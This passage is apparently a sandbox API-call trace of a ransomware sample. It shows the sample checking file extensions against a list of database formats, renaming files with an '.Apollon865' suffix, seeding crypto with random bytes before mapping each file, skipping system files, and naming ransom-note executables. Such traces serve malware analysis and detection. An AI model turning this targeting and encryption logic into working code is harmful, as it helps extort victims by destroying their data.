	[0054.688] lstrlenW (lpString="accdr") returned 5
	[0054.688] lstrcmpiW (lpString1="S.DTD", lpString2="accdr") returned 1
	[0054.688] lstrlenW (lpString="accdt") returned 5
	[0054.688] lstrcmpiW (lpString1="S.DTD", lpString2="accdt") returned 1
	[0054.688] lstrlenW (lpString="accdw") returned 5
	[0054.688] lstrcmpiW (lpString1="S.DTD", lpString2="accdw") returned 1
	[0054.688] lstrlenW (lpString="accft") returned 5
	[0054.688] lstrcmpiW (lpString1="S.DTD", lpString2="accft") returned 1
	[0054.688] lstrlenW (lpString="adb") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="adb") returned 1
	[0054.689] lstrlenW (lpString="adb") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="adb") returned 1
	[0054.689] lstrlenW (lpString="ade") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="ade") returned 1
	[0054.689] lstrlenW (lpString="adf") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="adf") returned 1
	[0054.689] lstrlenW (lpString="adn") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="adn") returned 1
	[0054.689] lstrlenW (lpString="adp") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="adp") returned 1
	[0054.689] lstrlenW (lpString="alf") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="alf") returned 1
	[0054.689] lstrlenW (lpString="ask") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="ask") returned 1
	[0054.689] lstrlenW (lpString="btr") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="btr") returned 1
	[0054.689] lstrlenW (lpString="cat") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="cat") returned 1
	[0054.689] lstrlenW (lpString="cdb") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="cdb") returned 1
	[0054.689] lstrlenW (lpString="ckp") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="ckp") returned 1
	[0054.689] lstrlenW (lpString="cma") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="cma") returned 1
	[0054.689] lstrlenW (lpString="cpd") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="cpd") returned 1
	[0054.689] lstrlenW (lpString="dacpac") returned 6
	[0054.689] lstrcmpiW (lpString1="NS.DTD", lpString2="dacpac") returned 1
	[0054.689] lstrlenW (lpString="dad") returned 3
	[0054.689] lstrcmpiW (lpString1="DTD", lpString2="dad") returned 1
	[0054.689] lstrlenW (lpString="dadiagrams") returned 10
	[0054.689] lstrcmpiW (lpString1="MSDKNS.DTD", lpString2="dadiagrams") returned 1
	[0054.690] lstrlenW (lpString="daschema") returned 8
	[0054.690] lstrcmpiW (lpString1="DKNS.DTD", lpString2="daschema") returned 1
	[0054.690] lstrlenW (lpString="db-journal") returned 10
	[0054.690] lstrcmpiW (lpString1="MSDKNS.DTD", lpString2="db-journal") returned 1
	[0054.690] lstrlenW (lpString="db-shm") returned 6
	[0054.690] lstrcmpiW (lpString1="NS.DTD", lpString2="db-shm") returned 1
	[0054.690] lstrlenW (lpString="db-wal") returned 6
	[0054.690] lstrcmpiW (lpString1="NS.DTD", lpString2="db-wal") returned 1
	[0054.690] lstrlenW (lpString="dbc") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dbc") returned 1
	[0054.690] lstrlenW (lpString="dbs") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dbs") returned 1
	[0054.690] lstrlenW (lpString="dbt") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dbt") returned 1
	[0054.690] lstrlenW (lpString="dbv") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dbv") returned 1
	[0054.690] lstrlenW (lpString="dbx") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dbx") returned 1
	[0054.690] lstrlenW (lpString="dcb") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dcb") returned 1
	[0054.690] lstrlenW (lpString="dct") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dct") returned 1
	[0054.690] lstrlenW (lpString="dcx") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dcx") returned 1
	[0054.690] lstrlenW (lpString="ddl") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="ddl") returned 1
	[0054.690] lstrlenW (lpString="dlis") returned 4
	[0054.690] lstrcmpiW (lpString1=".DTD", lpString2="dlis") returned -1
	[0054.690] lstrlenW (lpString="dp1") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dp1") returned 1
	[0054.690] lstrlenW (lpString="dqy") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dqy") returned 1
	[0054.690] lstrlenW (lpString="dsk") returned 3
	[0054.690] lstrcmpiW (lpString1="DTD", lpString2="dsk") returned 1
	[0054.691] lstrlenW (lpString="dsn") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="dsn") returned 1
	[0054.691] lstrlenW (lpString="dtsx") returned 4
	[0054.691] lstrcmpiW (lpString1=".DTD", lpString2="dtsx") returned -1
	[0054.691] lstrlenW (lpString="dxl") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="dxl") returned -1
	[0054.691] lstrlenW (lpString="eco") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="eco") returned -1
	[0054.691] lstrlenW (lpString="ecx") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="ecx") returned -1
	[0054.691] lstrlenW (lpString="edb") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="edb") returned -1
	[0054.691] lstrlenW (lpString="epim") returned 4
	[0054.691] lstrcmpiW (lpString1=".DTD", lpString2="epim") returned -1
	[0054.691] lstrlenW (lpString="fcd") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="fcd") returned -1
	[0054.691] lstrlenW (lpString="fdb") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="fdb") returned -1
	[0054.691] lstrlenW (lpString="fic") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="fic") returned -1
	[0054.691] lstrlenW (lpString="flexolibrary") returned 12
	[0054.691] lstrlenW (lpString="fm5") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="fm5") returned -1
	[0054.691] lstrlenW (lpString="fmp") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="fmp") returned -1
	[0054.691] lstrlenW (lpString="fmp12") returned 5
	[0054.691] lstrcmpiW (lpString1="S.DTD", lpString2="fmp12") returned 1
	[0054.691] lstrlenW (lpString="fmpsl") returned 5
	[0054.691] lstrcmpiW (lpString1="S.DTD", lpString2="fmpsl") returned 1
	[0054.691] lstrlenW (lpString="fol") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="fol") returned -1
	[0054.691] lstrlenW (lpString="fp3") returned 3
	[0054.691] lstrcmpiW (lpString1="DTD", lpString2="fp3") returned -1
	[0054.692] lstrlenW (lpString="fp4") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="fp4") returned -1
	[0054.692] lstrlenW (lpString="fp5") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="fp5") returned -1
	[0054.692] lstrlenW (lpString="fp7") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="fp7") returned -1
	[0054.692] lstrlenW (lpString="fpt") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="fpt") returned -1
	[0054.692] lstrlenW (lpString="frm") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="frm") returned -1
	[0054.692] lstrlenW (lpString="gdb") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="gdb") returned -1
	[0054.692] lstrlenW (lpString="gdb") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="gdb") returned -1
	[0054.692] lstrlenW (lpString="grdb") returned 4
	[0054.692] lstrcmpiW (lpString1=".DTD", lpString2="grdb") returned -1
	[0054.692] lstrlenW (lpString="gwi") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="gwi") returned -1
	[0054.692] lstrlenW (lpString="hdb") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="hdb") returned -1
	[0054.692] lstrlenW (lpString="his") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="his") returned -1
	[0054.692] lstrlenW (lpString="ib") returned 2
	[0054.692] lstrcmpiW (lpString1="TD", lpString2="ib") returned 1
	[0054.692] lstrlenW (lpString="idb") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="idb") returned -1
	[0054.692] lstrlenW (lpString="ihx") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="ihx") returned -1
	[0054.692] lstrlenW (lpString="itdb") returned 4
	[0054.692] lstrcmpiW (lpString1=".DTD", lpString2="itdb") returned -1
	[0054.692] lstrlenW (lpString="itw") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="itw") returned -1
	[0054.692] lstrlenW (lpString="jet") returned 3
	[0054.692] lstrcmpiW (lpString1="DTD", lpString2="jet") returned -1
	[0054.693] lstrlenW (lpString="jtx") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="jtx") returned -1
	[0054.693] lstrlenW (lpString="kdb") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="kdb") returned -1
	[0054.693] lstrlenW (lpString="kexi") returned 4
	[0054.693] lstrcmpiW (lpString1=".DTD", lpString2="kexi") returned -1
	[0054.693] lstrlenW (lpString="kexic") returned 5
	[0054.693] lstrcmpiW (lpString1="S.DTD", lpString2="kexic") returned 1
	[0054.693] lstrlenW (lpString="kexis") returned 5
	[0054.693] lstrcmpiW (lpString1="S.DTD", lpString2="kexis") returned 1
	[0054.693] lstrlenW (lpString="lgc") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="lgc") returned -1
	[0054.693] lstrlenW (lpString="lwx") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="lwx") returned -1
	[0054.693] lstrlenW (lpString="maf") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="maf") returned -1
	[0054.693] lstrlenW (lpString="maq") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="maq") returned -1
	[0054.693] lstrlenW (lpString="mar") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="mar") returned -1
	[0054.693] lstrlenW (lpString="marshal") returned 7
	[0054.693] lstrcmpiW (lpString1="KNS.DTD", lpString2="marshal") returned -1
	[0054.693] lstrlenW (lpString="mas") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="mas") returned -1
	[0054.693] lstrlenW (lpString="mav") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="mav") returned -1
	[0054.693] lstrlenW (lpString="maw") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="maw") returned -1
	[0054.693] lstrlenW (lpString="mdbhtml") returned 7
	[0054.693] lstrcmpiW (lpString1="KNS.DTD", lpString2="mdbhtml") returned -1
	[0054.693] lstrlenW (lpString="mdn") returned 3
	[0054.693] lstrcmpiW (lpString1="DTD", lpString2="mdn") returned -1
	[0054.693] lstrlenW (lpString="mdt") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="mdt") returned -1
	[0054.694] lstrlenW (lpString="mfd") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="mfd") returned -1
	[0054.694] lstrlenW (lpString="mpd") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="mpd") returned -1
	[0054.694] lstrlenW (lpString="mrg") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="mrg") returned -1
	[0054.694] lstrlenW (lpString="mud") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="mud") returned -1
	[0054.694] lstrlenW (lpString="mwb") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="mwb") returned -1
	[0054.694] lstrlenW (lpString="myd") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="myd") returned -1
	[0054.694] lstrlenW (lpString="ndf") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="ndf") returned -1
	[0054.694] lstrlenW (lpString="nnt") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="nnt") returned -1
	[0054.694] lstrlenW (lpString="nrmlib") returned 6
	[0054.694] lstrcmpiW (lpString1="NS.DTD", lpString2="nrmlib") returned 1
	[0054.694] lstrlenW (lpString="ns2") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="ns2") returned -1
	[0054.694] lstrlenW (lpString="ns3") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="ns3") returned -1
	[0054.694] lstrlenW (lpString="ns4") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="ns4") returned -1
	[0054.694] lstrlenW (lpString="nsf") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="nsf") returned -1
	[0054.694] lstrlenW (lpString="nv") returned 2
	[0054.694] lstrcmpiW (lpString1="TD", lpString2="nv") returned 1
	[0054.694] lstrlenW (lpString="nv2") returned 3
	[0054.694] lstrcmpiW (lpString1="DTD", lpString2="nv2") returned -1
	[0054.694] lstrlenW (lpString="nwdb") returned 4
	[0054.695] lstrcmpiW (lpString1=".DTD", lpString2="nwdb") returned -1
	[0054.695] lstrlenW (lpString="nyf") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="nyf") returned -1
	[0054.695] lstrlenW (lpString="odb") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="odb") returned -1
	[0054.695] lstrlenW (lpString="odb") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="odb") returned -1
	[0054.695] lstrlenW (lpString="oqy") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="oqy") returned -1
	[0054.695] lstrlenW (lpString="ora") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="ora") returned -1
	[0054.695] lstrlenW (lpString="orx") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="orx") returned -1
	[0054.695] lstrlenW (lpString="owc") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="owc") returned -1
	[0054.695] lstrlenW (lpString="p96") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="p96") returned -1
	[0054.695] lstrlenW (lpString="p97") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="p97") returned -1
	[0054.695] lstrlenW (lpString="pan") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="pan") returned -1
	[0054.695] lstrlenW (lpString="pdb") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="pdb") returned -1
	[0054.695] lstrlenW (lpString="pdm") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="pdm") returned -1
	[0054.695] lstrlenW (lpString="pnz") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="pnz") returned -1
	[0054.695] lstrlenW (lpString="qry") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="qry") returned -1
	[0054.695] lstrlenW (lpString="qvd") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="qvd") returned -1
	[0054.695] lstrlenW (lpString="rbf") returned 3
	[0054.695] lstrcmpiW (lpString1="DTD", lpString2="rbf") returned -1
	[0054.696] lstrlenW (lpString="rctd") returned 4
	[0054.696] lstrcmpiW (lpString1=".DTD", lpString2="rctd") returned -1
	[0054.696] lstrlenW (lpString="rod") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="rod") returned -1
	[0054.696] lstrlenW (lpString="rodx") returned 4
	[0054.696] lstrcmpiW (lpString1=".DTD", lpString2="rodx") returned -1
	[0054.696] lstrlenW (lpString="rpd") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="rpd") returned -1
	[0054.696] lstrlenW (lpString="rsd") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="rsd") returned -1
	[0054.696] lstrlenW (lpString="sas7bdat") returned 8
	[0054.696] lstrcmpiW (lpString1="DKNS.DTD", lpString2="sas7bdat") returned -1
	[0054.696] lstrlenW (lpString="sbf") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="sbf") returned -1
	[0054.696] lstrlenW (lpString="scx") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="scx") returned -1
	[0054.696] lstrlenW (lpString="sdb") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="sdb") returned -1
	[0054.696] lstrlenW (lpString="sdc") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="sdc") returned -1
	[0054.696] lstrlenW (lpString="sdf") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="sdf") returned -1
	[0054.696] lstrlenW (lpString="sis") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="sis") returned -1
	[0054.696] lstrlenW (lpString="spq") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="spq") returned -1
	[0054.696] lstrlenW (lpString="te") returned 2
	[0054.696] lstrcmpiW (lpString1="TD", lpString2="te") returned -1
	[0054.696] lstrlenW (lpString="teacher") returned 7
	[0054.696] lstrcmpiW (lpString1="KNS.DTD", lpString2="teacher") returned -1
	[0054.696] lstrlenW (lpString="tmd") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="tmd") returned -1
	[0054.696] lstrlenW (lpString="tps") returned 3
	[0054.696] lstrcmpiW (lpString1="DTD", lpString2="tps") returned -1
	[0054.697] lstrlenW (lpString="trc") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="trc") returned -1
	[0054.697] lstrlenW (lpString="trc") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="trc") returned -1
	[0054.697] lstrlenW (lpString="trm") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="trm") returned -1
	[0054.697] lstrlenW (lpString="udb") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="udb") returned -1
	[0054.697] lstrlenW (lpString="udl") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="udl") returned -1
	[0054.697] lstrlenW (lpString="usr") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="usr") returned -1
	[0054.697] lstrlenW (lpString="v12") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="v12") returned -1
	[0054.697] lstrlenW (lpString="vis") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="vis") returned -1
	[0054.697] lstrlenW (lpString="vpd") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="vpd") returned -1
	[0054.697] lstrlenW (lpString="vvv") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="vvv") returned -1
	[0054.697] lstrlenW (lpString="wdb") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="wdb") returned -1
	[0054.697] lstrlenW (lpString="wmdb") returned 4
	[0054.697] lstrcmpiW (lpString1=".DTD", lpString2="wmdb") returned -1
	[0054.697] lstrlenW (lpString="wrk") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="wrk") returned -1
	[0054.697] lstrlenW (lpString="xdb") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="xdb") returned -1
	[0054.697] lstrlenW (lpString="xld") returned 3
	[0054.697] lstrcmpiW (lpString1="DTD", lpString2="xld") returned -1
	[0054.697] lstrlenW (lpString="xmlff") returned 5
	[0054.697] lstrcmpiW (lpString1="S.DTD", lpString2="xmlff") returned -1
	[0054.697] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.Apollon865") returned 82
	[0054.698] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd.apollon865"), dwFlags=0x1) returned 1
	[0054.703] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0054.704] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=498) returned 1
	[0054.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.704] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.704] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0054.705] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.705] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.705] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x15c
	[0054.739] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000
	[0054.743] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0054.744] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.744] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0054.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0054.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.745] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.745] CloseHandle (hObject=0x15c) returned 1
	[0054.745] CloseHandle (hObject=0x154) returned 1
	[0054.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.745] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e888c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x2ad0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMSDKNS.XML.Apollon865", cAlternateFileName="WMSDKN~1.APO")) returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="Apollon865.txt.exe") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2=".") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="..") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="windows") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="bootmgr") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="temp") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="pagefile.sys") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="boot") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="ids.txt") returned 1
	[0054.745] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="ntuser.dat") returned 1
	[0054.746] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="perflogs") returned 1
	[0054.746] lstrcmpiW (lpString1="WMSDKNS.XML.Apollon865", lpString2="MSBuild") returned 1
	[0054.746] lstrlenW (lpString="WMSDKNS.XML.Apollon865") returned 22
	[0054.746] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD") returned 71
	[0054.746] lstrcpyW (in: lpString1=0x119e680, lpString2="WMSDKNS.XML.Apollon865" | out: lpString1="WMSDKNS.XML.Apollon865") returned="WMSDKNS.XML.Apollon865"
	[0054.746] lstrlenW (lpString="WMSDKNS.XML.Apollon865") returned 22
	[0054.746] lstrlenW (lpString="Apollon865") returned 10
	[0054.746] lstrcmpiW (lpString1="Apollon865", lpString2="Apollon865") returned 0
	[0054.746] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e888c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x2ad0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMSDKNS.XML.Apollon865", cAlternateFileName="WMSDKN~1.APO")) returned 0
	[0054.746] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.746] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc30
	[0054.746] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail"
	[0054.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0054.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0054.746] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail") returned 53
	[0054.746] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail"
	[0054.746] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
